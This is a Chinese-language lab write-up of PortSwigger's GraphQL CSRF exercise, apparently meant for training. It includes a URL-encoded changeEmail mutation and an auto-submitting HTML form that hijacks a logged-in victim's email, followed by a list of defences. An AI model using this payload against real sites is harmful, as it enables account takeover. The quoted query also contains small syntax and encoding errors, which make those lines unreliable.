CSRF+GraphQL的奇妙组合
字数 1504 2025-08-10 14:13:03
CSRF+GraphQL攻击实验教学文档
实验概述
本实验探讨了GraphQL API中存在的CSRF(跨站请求伪造)漏洞,特别是当API端点接受x-www-form-urlencoded内容类型而非强制使用application/json时的安全问题。
前置知识
CSRF与内容类型的关系
- CSRF攻击无法发送内容类型为
application/json的POST请求 - 使用
application/json内容类型的POST请求可以有效防止CSRF伪造 - 但若端点接受
GET或x-www-form-urlencoded内容类型的请求,则可能使系统易受CSRF攻击
GraphQL特性
- GraphQL通常使用POST请求和JSON格式
- 但某些实现可能支持多种内容类型和请求方法
- 这种灵活性可能引入安全风险
实验目标
利用CSRF攻击通过GraphQL API修改用户邮箱地址。
实验步骤详解
1. 环境准备
- 访问靶场: https://portswigger.net/web-security/graphql/lab-graphql-csrf-via-graphql-api
- 使用测试账号登录:
wiener:peter
2. 功能分析
- 分析网站功能,特别是邮箱修改功能
- 通过Burp Suite拦截正常修改邮箱的请求
3. 请求方法测试
-
原始请求分析:
- 通常为POST请求,内容类型为
application/json
- 通常为POST请求,内容类型为
-
尝试修改请求方法:
- 改为GET请求 → 通常不被允许
- 改为POST请求,内容类型为
x-www-form-urlencoded→ 成功
4. 构造有效载荷
将GraphQL查询转换为URL编码格式:
原始GraphQL查询:
mutation changeEmail($input: ChangeEmailInput {
changeEmail(input: $input) {
email
}
}
转换为URL编码格式:
query=%0a+mutation+changeEmail(%24input%3a+ChangeEmailInput+%7b%0a++++++++changeEmail(input%3a+%24input)+%7b%0a+email%0a+7d%0a++++%7d%0a&operationName=changeEmail&variables=%7b%22input%22%3a%7b%22email%22%3a%22test%40test%22%7d%7d
关键点:
- 换行符(
\n)编码为%0a - 空格编码为
+ - 特殊字符如
{,},:,"等都需要编码 &和=作为参数分隔符,不应编码
5. 构造CSRF攻击页面
<html>
<body>
<form action="https://vulnerable-site.com/graphql/v1" method="POST">
<input type="hidden" name="query" value=" mutation changeEmail($input: ChangeEmailInput { changeEmail(input: $input) { email } } " />
<input type="hidden" name="operationName" value="changeEmail" />
<input type="hidden" name="variables" value="{"input":{"email":"ATTACKER@HACKER"}}" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
关键组件:
- 隐藏表单,自动提交
- 包含GraphQL查询、操作名和变量
- JavaScript自动提交表单(可选)
- 修改
history.pushState防止用户看到明显变化
6. 攻击执行
- 将上述HTML托管在攻击者控制的服务器
- 诱使受害者访问该页面
- 若受害者已登录目标站点,邮箱将被修改
防御措施
1. 强制使用application/json
- 只接受
application/json内容类型的请求 - 拒绝
x-www-form-urlencoded等其他类型
2. 使用CSRF Token
- 在所有状态修改请求中要求有效的CSRF token
- 确保token无法被攻击者预测
3. 检查Origin/Referer头部
- 验证请求来源是否合法
- 注意Referer可能被某些配置或扩展移除
4. 使用SameSite Cookie属性
- 设置
SameSite=Strict或SameSite=Lax - 防止跨站请求携带认证cookie
5. GraphQL特定防御
- 禁用GET请求处理GraphQL查询
- 实现查询白名单或深度限制
- 考虑使用Persisted Queries
总结
本实验展示了当GraphQL端点不严格限制内容类型时可能导致的CSRF漏洞。关键在于:
- GraphQL端点接受
x-www-form-urlencoded而非强制application/json - 缺乏CSRF防护机制(如token)
- 攻击者可构造自动提交的表单利用此漏洞
防御的核心在于严格限制请求类型并实施标准的CSRF防护措施。